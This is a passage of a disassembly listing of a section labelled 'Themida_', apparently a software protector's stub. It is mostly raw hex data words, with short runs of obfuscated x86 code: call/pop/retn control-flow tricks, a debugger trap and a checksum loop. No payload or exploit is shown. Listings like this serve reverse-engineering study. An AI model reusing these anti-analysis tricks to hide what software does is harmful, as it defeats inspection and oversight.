6606140Ch, 0E781D98Ch, 2C9F7AACh, 0E804E180h, 0Eh, 1DE0BBDEh dd 62F880ADh, 29CA1F04h, 0B70F546Ch, 0C90A5BF9h, 0AB840Fh dd 858B0000h, 6140E35h, 0B9B58B60h, 6106142Ah, 19E58D31h dd 85330614h, 61406A9h, 83F6DB81h, 0BF504C73h, 0E65687Ah dd 0B7240489h, 8B006AB2h, 140C659Dh, 4E806h, 3FF0000h dd 5E9001Fh, 6A000000h, 8D954A39h, 8B37B750h, 0BF042444h dd 64E073B5h, 0FE8008Bh, 90000000h, 4BB70585h, 288C781Ch dd 9FC8CE1Fh, 0FFBFA9FFh, 5B171ABDh, 4244489h, 0BC66BA60h dd 85BF7EF4h, 6105FC55h, 8870F58h, 52000000h, 810Fh, 0FF5F0000h dd 14089D95h, 89DF8B06h, 17A7EA85h, 85AFBB06h, 0A0E938BEh dd 81000001h, 0C59AD3E7h, 0E2858B13h, 660617A7h, 5609CF81h dd 1800C7h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 455A3C3h, 896096F8h, 1403F195h dd 0DF816606h, 8B6102BCh, 17A7E6B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 40EF6AB6h dd 719D8B43h, 8B06142Ah, 14028185h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0A731D200h dd 9F284DDh, 141BC58Dh, 6A068906h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 2686C356h dd 8B0DE7D2h, 140E3585h, 0AE906h, 0DDDB0000h, 0CCC44E90h dd 0E8F6AF7Fh, 6A044689h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 965BC355h, 95E9BB66h dd 5E950h, 95220000h, 9616A935h, 0A7E2B5FFh, 0BD8B0617h dd 61400E5h, 7334C168h, 240481CCh, 33ABCF3Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 85C35646h, 0DA8B2261h dd 8D19EB80h, 17A7EA85h, 0CD9D8B06h, 5006141Fh, 66605250h dd 0E93E65B9h, 13h, 93A57385h, 559FBE36h, 0EACF0818h, 445C6FEDh dd 61186478h, 585A310Fh, 6A240489h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 94CAC352h dd 8906EB9Fh, 14018195h, 9D95FF06h, 61061408h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4EC35040h, 4AC0FE78h dd 3FC0F946h, 9E9F5h, 0A7500000h, 8207B2F2h, 0C78745BDh dd 14013D85h, 306h, 0BD83FC00h, 617A7EAh, 2F840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 2E43C356h, 807252E9h, 8B70D1D7h, 142E19BDh dd 1BE906h, 30500000h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 363FCC04h, 3E1B5682h dd 8D292F5Bh, 61406A5h, 11E8h, 0E5318000h, 0D3211FC1h dd 74A832Ah, 9ABAF2Ah, 0DDB388BEh, 3DBD835Fh, 3061401h dd 4E8850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0FEC60C3h, 519589D8h, 0FC061420h dd 0A7EABD83h, 0F000617h, 4B584h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0D60104FCh dd 12E8A7AFh, 14000000h, 32E1931Eh, 0C5692D66h, 0EE7F057Dh dd 9304B7Bh, 0DDBD8B85h, 5F061408h, 0A7EAB5FFh, 9D8B0617h dd 6140E39h, 33995FFh, 0CB800614h, 0DEB58B90h, 6A0617A7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0E8C8C356h, 417438F5h, 9F82DCFh, 2618D781h dd 6C77DBBh, 10001h, 66525050h, 0F0DD3BBh, 5870F31h, 0BF000000h dd 199E0999h, 3489585Ah, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 37C50BBDh, 0B5FFFCBAh dd 617A7EAh, 8195FFF8h, 89061410h, 1411718Dh, 0DEB58B06h dd 890617A7h, 142D6DB5h, 0F9858B06h, 6A06140Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0A5F3C350h, 0E405E013h, 0FE8BC081h, 868982B7h, 0C4h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 8CC35646h dd 0EA5231F7h, 66490872h, 0F10DDB81h, 2B69958Bh, 6A0614h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 937472C3h, 0C2833417h, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 456781F5h dd 5089ECB9h, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 9032D3C9h, 0BEBF66ADh, 23858D06h dd 6A0617BCh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 31D6C356h, 141DB585h, 0DB816606h dd 8689A4EFh, 0B8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 2AC35040h, 6ADBB70Fh, 85896000h, 614076Dh dd 0BD3361F8h, 6142B21h, 0A7EAB5FFh, 6A0617h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0C000CEC3h dd 89C6533Ch, 140B39BDh, 0AD95FF06h, 0BB061433h, 4AA39733h dd 8B666096h, 13E8CFh, 86BF0000h, 0CC7768E3h, 870E0A20h dd 1830D41Ch, 8213DFDDh, 59616051h, 8B665061h, 6A96FAh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 1E6BFDC3h, 0A9EF89B8h, 9BE38128h, 0FF659C1Ah, 17A7EAB5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0F1E276E7h, 0EADCA3E9h, 0CE8A3DCh, 3D000000h dd 0A954C516h, 5908E257h, 8B667C2Ch, 141BD19Dh, 95FF5F06h dd 6142309h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 26C35242h, 4464540Ah, 1A92D0C0h, 0EE9h, 0A6C3FF00h dd 0F920F1FBh, 73CB3D0Ah, 6047E493h, 600CDC80h, 318D29FCh dd 6106142Eh, 89BD8361h, 61411h, 2B840Fh, 85310000h, 614066Dh dd 0BF525050h, 1AAB441Ah, 0BE9310Fh, 80000000h, 7DF3874Bh dd 0DCC54E93h, 585A4C64h, 81243489h, 90479BEFh, 0EAB5FF20h dd 6A0617A7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0DB6CC351h, 0CA28B11Ah, 7DBD23CCh dd 0F061413h, 58Ah, 0C7816600h, 95FFA0EDh, 61402D5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6C35747h, 0ABBF662Dh dd 0EAB5FF21h, 8B0617A7h, 143495BDh, 7595FF06h, 6A06140Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 6951C356h, 8BCEEC31h, 141F79BDh, 2DBD8306h dd 2061411h, 91840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 514EC7C3h, 8B70E7DFh dd 14005585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 800FE075h, 15h, 0DE852h, 3F080000h dd 6BEDF92h, 55A7B98Eh, 5F139330h, 0D781605Bh, 57BA610Bh dd 2830Fh, 0FCB00000h, 0C661h, 0DE8h, 4CE16500h, 0F2001058h dd 3ACBFE05h, 8C0FE6D5h, 6, 3019D8Bh, 0C75B0614h, 141E4985h dd 6, 0DE900h, 13FB0000h, 355DC9FEh, 0C9ADBCE1h, 0F5F0422h dd 40E9FFBFh, 3FFFFF3h, 141E3DBDh, 66C18B06h ; --------------------------------------------------------------------------- mov ebx, edx loc_5C327E: ; CODE XREF: Themida_:loc_5C2458j lea eax, [ebp+6140791h] push 0 push edx call sub_5C328F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C328F proc near ; CODE XREF: Themida_:005C3287p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5C328F endp ; --------------------------------------------------------------------------- dec ecx aad 33h sbb al, 0C0h cmp [ecx+60F00915h], bl mov [ebp+6140301h], edx mov ecx, 6591CE1Dh popa nop mov edi, 3A1CFE98h push eax mov ebx, eax nop push 0 push edi call sub_5C32CB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C32CB proc near ; CODE XREF: Themida_:005C32C3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5C32CB endp ; --------------------------------------------------------------------------- db 45h dd 0ACADB1D9h, 81ACCC43h, 0D55F95F7h, 0DE845h, 13D0000h dd 0FCD4C8CDh, 65255B9h, 806FF7AAh, 665F86F3h, 0C9F5C381h dd 0BD8B006Ah, 6141B95h, 9D31006Ah, 614240Dh, 29859D8Bh dd 858D0614h, 61858FFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 40C35545h, 945B509h, 0C0830614h, 52BB6605h dd 5B515016h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0E5ADC355h, 6A006AB5h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 24E0C352h, 79850128h, 6A061415h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 13AF42F6h, 0C56A6452h, 0BD8B4A70h, 61400CDh, 14E8h dd 59547500h, 0C1FEDB10h, 10CF0EC2h, 3AF11531h, 77075D93h dd 5BF98AF5h, 1B1995FFh, 0E9600614h, 9, 0C3600A0Ah, 9EFAA4D1h dd 8D8D610Fh, 617A778h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 82C35040h, 8B558659h, 1412ED9Dh, 31D1FF06h dd 14160DB5h, 0CDBD8306h, 1061401h, 69850Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 8250F9C3h, 4A74CB60h, 8B0FBB42h, 3, 6ADEB70Fh, 0FAB70F02h dd 33B5BB50h, 4896CCBh, 13E824h, 0E6640000h, 0DA6AB3EDh dd 0A56B1210h, 2D0F671Bh, 5D3DFC38h, 0F8BF0F01h, 85BD8B5Bh dd 0FF061404h, 1433AD95h, 359D8906h, 0E9061419h, 0DE4h dd 0E8h, 0ED815D00h, 6185909h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0E0C35242h, 0C074CB6h, 8D31D39Fh dd 614151Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0BDC35646h, 53568A8Bh, 8E49858Dh, 6A0617h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 3FC36C3h, 0A4658D07h, 0E976390Eh, 12h, 5E1664BEh, 47397114h dd 3DF268B8h, 50FFD0A3h, 8B50B5A8h, 240489DEh, 64FB8B66h dd 35FFh, 89640000h, 25h, 7E900h, 0EF990000h, 4B9916B9h dd 0ED85FF6Eh, 0F06142Dh, 1880h, 0CE800h, 0CBC50000h, 0B6272BDBh dd 0E858B449h, 8F0F1165h, 0 ; --------------------------------------------------------------------------- pop ebx push 0FFFFFFFFh pusha movzx ecx, ax xor al, 52h popa push dword ptr [ebp+614129Dh] mov di, ax call dword ptr [ebp+6142A89h] jmp loc_5C36C6 ; --------------------------------------------------------------------------- db 8Bh dd 141A1DBDh, 2300B006h, 143425BDh, 0B370E606h, 3C71E46Dh dd 0F830F61h, 81000001h, 3E9817CBh, 0B60FF503h, 0C19D8BC8h dd 0BA06141Fh, 6, 0F9FBB70Fh, 9589C18Bh, 6140F55h, 88DBD8Bh dd 0E8C10614h, 659D8B04h, 66061431h, 0F99CD381h, 0E8E2F766h dd 5, 389C0A7Eh, 0CE9B5h, 0BF870000h, 1105A769h, 0A7D144A3h dd 8B5BD8BDh, 1401699Dh, 89C82B06h, 141EF98Dh, 10E806h dd 12F00000h, 1A67000Bh, 0C4D614A5h, 836DE194h, 81664EF7h dd 5F7FD5D3h, 0E9F8D18Bh, 6, 1D519589h, 858B0614h, 61425B5h dd 0F07C083h, 280h, 8331B300h, 0BF6600C0h, 81665CF6h, 3B9F20E7h dd 17830FD0h, 0F000000h, 688h, 69950900h, 0E9061402h, 4Eh dd 0D819D2Bh, 8D8B0614h, 6141C69h, 1E183F8h, 38840Fh, 8C0F0000h dd 6, 0A4DB589h, 0A5830614h, 6141C69h, 880F60FEh, 6, 3195B58Bh dd 95330614h, 61406E1h, 0B5958961h, 89061425h, 14137195h dd 0E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5C36C6: ; CODE XREF: Themida_:005C3596j lea esi, [ebp+617D779h] mov [ebp+6140245h], esi push 0 push 0 push esi call sub_5C36DF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C36DF proc near ; CODE XREF: Themida_:005C36D7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5C36DF endp ; --------------------------------------------------------------------------- fiadd dword ptr [ecx] int 3 ; Trap to Debugger mov al, [ecx-7Bh] jl short near ptr loc_5C36FF+1 imul ebx, [ecx], 0A75BD8Bh adc al, 6 loc_5C36FF: ; CODE XREF: Themida_:005C36F5j mov [ebp+6141E9Dh], edi mov ebx, [ebp+6140805h] call dword ptr [ebp+6142971h] movzx edi, dx mov ecx, 83Ch push 0 push edx call sub_5C3724 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3724 proc near ; CODE XREF: Themida_:005C371Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5C3724 endp ; --------------------------------------------------------------------------- dd 162904E4h, 0EDE97309h, 83DE8BACh, 0BB66FCE1h, 0BD8B560Eh dd 6141935h, 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 6637247h, 0EB699B99h, 0B8F88B66h dd 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5C3783 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3783 proc near ; CODE XREF: Themida_:005C377Bp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5C3783 endp ; --------------------------------------------------------------------------- test byte ptr [edx], 0C8h and edi, [edi+14575E50h] mov ebx, [ebp+6142609h] mov edx, 0 push 0 push ebx call sub_5C37B2 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C37B2 proc near ; CODE XREF: Themida_:005C37AAp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5C37B2 endp ; --------------------------------------------------------------------------- and eax, 892D5339h lea ebx, [ecx+33061416h] popf pop ecx add al, 14h push es loc_5C37D2: ; CODE XREF: Themida_:005C37DCj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5C37D2 push 0 push eax call sub_5C37E9 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C37E9 proc near ; CODE XREF: Themida_:005C37E1p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5C37E9 endp ; --------------------------------------------------------------------------- db 4Ch, 0Fh, 0BFh dd 0BE9D8h, 0B3090000h, 14D8A7C6h, 7E523D5Bh, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0DF43AD9Eh, 0EE8E7539h, 0FD8D0914h, 0D06140Fh, 88h dd 0EE8h, 0AAA10200h, 0D4E81108h, 4B693B5Ch, 1CDAE9Eh dd 1404819Dh, 958B5B06h, 6142B69h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 5FC35040h, 8D8BCE6Ah, 6141055h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9AC35545h dd 0B05A33EBh, 0F37EDB90h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 6A81C3h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0B15B98C3h, 1D6213BFh dd 9D8BB9A7h, 61433F1h, 0F4DBD83h, 0F000614h, 6384h, 9CBF6600h dd 0B8D4h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0A4D91EC3h, 8A0F0542h, 7, 0FAB70F60h dd 8D615A57h, 144DFF8Dh, 2DB8006h, 6AE1FFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0F60E0BC3h dd 0DFB3CE39h, 13DBD83h, 0F000614h, 42C84h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 6A6D1EC6h, 0B7CB23B4h, 3DBD83B9h, 1061401h, 416840Fh dd 0BD830000h, 614013Dh, 0D3860F03h, 6A000003h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0B91BC351h, 9D3317EAh, 6141E79h, 56006A60h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 77C35E3Fh dd 0D890FC1h, 0E9000000h, 8, 7386CF54h, 0B5ACFF7Ch, 1059BD8Bh dd 8C660614h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0E91D0418h, 16DEAAE7h, 0B70F1F60h dd 4E180DBh, 9435D381h, 0C90A00DEh, 14A840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 449479C3h, 0B5B52970h, 50061409h, 0F6F38166h, 858B5B96h dd 6140E35h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0B7C35141h, 0B25E8C46h, 7D447F7Bh, 0F098D09h, 85330614h dd 61406A9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 1AC35242h, 7FDC06ACh, 6060833Fh, 0F50FF180h, 0E7BF6661h dd 669061D9h, 0E950D98Bh, 6, 7B00CFFEh, 0F905495h, 683h dd 0BD9D8B00h, 0F9061417h, 0DE9006Ah, 81000000h, 0FA8654FCh dd 431B4108h, 5AF32EEDh, 5FBDE868h, 7E9A1h, 4A0000h, 6A8BDD6Ch dd 24048162h, 5EBF4617h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0D5C35242h, 0F38166ADh, 95FF2CD4h, 614089Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0B7C35747h dd 968BD9BFh, 0E9FC2CD9h, 11h, 0BA8E8909h, 0DEFAE468h dd 9D50BA26h, 0F685232Eh, 0EA858986h, 660617A7h, 0E95737BFh dd 163h, 0A7E2858Bh, 9D8B0617h, 6141EEDh, 1800C7h, 0F5F90000h dd 0A7E6B58Bh, 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 17E6FEC3h, 7E265A71h, 858B7990h dd 6140281h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 2AC35040h, 0A4C0589Ch, 198DBD29h, 0BD8B0614h, 6140169h dd 0D359D0Bh, 6890614h, 8BD8B70Fh, 140E3585h, 42BB6606h dd 44689B4h, 1E91BD89h, 0ABB70614h, 24348950h, 51CF8166h dd 51BD8B99h, 0FF06142Dh, 17A7E2B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 4E891BAh, 0FF000000h dd 50001F03h, 0F8FCBB52h, 310F56B6h, 585A48B7h, 0F8C0F50h dd 0E8000000h, 7, 0B8765D90h, 51097EB1h, 448B5B5Bh, 8B0424h dd 4489FA8Bh, 0BB660424h, 8B5868F6h, 140A5D9Dh, 0EA858D06h dd 6A0617A7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0D03FC352h, 8930C95Bh, 14316DBDh dd 8B669006h, 0F88B50DFh, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0C23F3836h dd 0DF8B3F2Ch, 89D95FFh, 61F50614h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 5FC35242h, 0BB839143h, 956A9457h dd 3D85C7ADh, 3061401h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 6A9DC352h dd 0EABD8304h, 617A7h, 30840Fh, 8D290000h, 6140BE9h, 0E9D9BF0Fh dd 3Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah dd 0ECC35747h, 607D6EA7h, 3050F33Ch, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 110AA538h dd 960607Ah, 142575BDh, 0CF816606h, 3361A466h, 14302DB5h dd 66506106h, 5FFCCCBBh, 13DBD83h, 0F030614h, 42985h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 2DB54F57h, 832BF7B6h, 17A7EABDh, 840F0006h, 3FAh, 0A7EAB5FFh dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 6EC901C3h, 0E90E6FAFh, 11h, 5C87CEE4h, 8040B67Ch dd 8F5D0B95h, 95945850h, 13E8B7h, 88A60000h, 2BCAB14Ch dd 6258DE94h, 0E1491DA4h, 0B1B0A188h, 0E99529E6h, 5B061407h dd 33995FFh, 0BE90614h, 94000000h, 0A5C996BBh, 0AD206501h dd 12E88465h, 9C000000h, 1A31CF95h, 5B76BE4Fh, 0BBC2FCE7h dd 28F235F4h, 419D2B75h, 5F061407h, 0A7DEB58Bh, 0C7F50617h dd 1000106h, 0EE99600h, 0B4000000h, 0A6017478h, 4C2C0919h dd 70582CB5h, 0CEBB50E7h, 9654FA4Eh, 32D38166h, 0EAB5FF65h dd 6A0617A7h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 67C9C355h, 852B609Dh, 6141E29h dd 0FC61D98Bh, 108195FFh, 6A0614h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 55203DC3h, 8977EE03h dd 1425D585h, 0DEB58B06h, 810617A7h, 953509EBh, 0F9858B4Ah dd 6A06140Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 890CC350h, 0C486h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 958BDC55h, 6142B69h, 4C283F5h, 33E59D8Bh, 50890614h dd 0AE920h, 96550000h, 0DD41733h, 0B1DDE93h, 0BC23858Dh dd 0BB660617h, 8689D1C1h, 0B8h, 6AFE8Bh, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 14h, 5AC35242h, 15B99D8Bh dd 0B5FF0614h, 617A7EAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 37C35343h, 98A2FFAh, 140EF5B5h, 29BD8B06h dd 0FF06140Ch, 1433AD95h, 890F5706h, 17h, 11E8h, 0D7CD5600h dd 0B5B131F4h, 39D1DE7Fh, 30AD4D67h, 5F5BDEDBh, 96F9BF0Fh dd 14E8h, 5533BC00h, 5428CBD4h, 0DD2FA3C2h, 693759Ch, 0E0D5E449h dd 0B2BF66F7h, 0BF505FBAh, 5B50CBCDh, 0EAB5FF96h, 6A0617A7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 4FB5C355h, 465BD8Bh, 95FF0614h, 6142309h dd 0E19EF781h, 0BD830586h, 6141189h, 28840F00h, 0E9000000h dd 6, 82F25739h, 609674BAh, 5061C58Ah, 11E996h, 0D5CD0000h dd 8F679BDFh, 7A86D45Ah, 32A2CE59h, 0FF1535A9h, 17A7EAB5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 2A84D510h, 8509D58Eh, 6140DD9h, 2D595FFh dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0A5ACDC3h, 51BD8950h, 0E8061413h, 0Ch, 0F77213CFh dd 2AFD9647h, 0E1A6190Dh, 6D87E1BFh, 0B5FF5F20h, 617A7EAh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E8C35545h dd 7595FFB0h, 0E806140Bh, 10h, 49AD3C7Ah, 3527C051h, 0FA94E743h dd 60BFC8EEh, 2E299D89h, 665B0614h, 8334B0BBh, 14112DBDh dd 840F0206h, 74h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0EDC35141h, 76D44A1Eh, 8B43BFE1h, 14005585h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0F6E35487h, 0C684h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 2FC35747h, 0E01EE3BCh, 0BD8B61B7h dd 6142A09h, 1E4985C7h, 614h, 9D8B0000h, 6140285h, 2E0D9589h dd 2AE90614h, 66FFFFF3h, 8BA1ABBFh, 57006AC1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0FBA3FA0h dd 96F91446h, 0ED858950h, 5F06140Bh, 791858Dh, 0BB660614h dd 0BB90FF4Dh, 58DBBE82h, 7040BB50h, 0E99005EEh, 0Dh, 5798E8F5h dd 5E7ACDCBh, 983D9990h, 6830F92h, 0F000000h, 8Ah, 6A006A00h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 3944C357h, 6D9AC61Ch, 0D99D0952h, 5B061401h dd 10E9h, 4C6DE000h, 0B7BAEE4h, 393204Bh, 9ADBECCCh, 6A006A60h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 8D8AC355h, 5665CCAAh, 8D5BF88Bh, 18695C85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 14E9D699h, 18000000h, 0A3F4F9D2h, 0EED422B9h dd 187EDE82h, 696939EBh, 832838B9h, 6A05C0h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 9727F2C3h dd 816694C9h, 8B8A73DBh, 14071DBDh, 830F9006h, 17h, 0EE8h dd 7CCE4B00h, 626E7288h, 8125D36Ah, 6655D637h, 505BF88Bh dd 7F01BB66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 6DF6DA48h, 7CE38012h, 6A006Ah, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 1FB96C3h, 0BB82CDE3h, 0AE9B4h, 4BD60000h, 2BFB300Dh dd 8B8D2507h, 8B006AF9h, 1995FFFBh, 6A06141Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 9973C350h, 0A659E2CEh, 9E9E6A1h, 5E000000h, 2D31D8BAh dd 968E6DFAh, 0A7788D8Dh, 0D98B0617h, 8166D1FFh, 8BDD87D7h dd 1406719Dh, 0CDBD8306h, 1061401h, 96850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0AD1F1DC3h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8B8CE8C3h, 1433E59Dh, 53CB8106h dd 89579510h, 1417CDBDh, 0FE85006h, 0A3000000h, 4CCFFAD7h dd 3E56BFCEh, 0F9581BE8h, 0DA8A9A12h, 2404895Fh, 12E860h dd 0BC600000h, 5DA888A2h, 8266115Eh, 0DC4D84A6h, 2700CBECh dd 17FD9D09h, 8A5E0614h, 95FF61E6h, 61433ADh, 0A810BF66h dd 0D9EE9h, 0E800h, 815D0000h, 186966EDh, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 3EFEAEF1h, 0B6FD8AC0h, 95893487h, 6140D69h, 0EE9h, 4E586A00h dd 78410BCh, 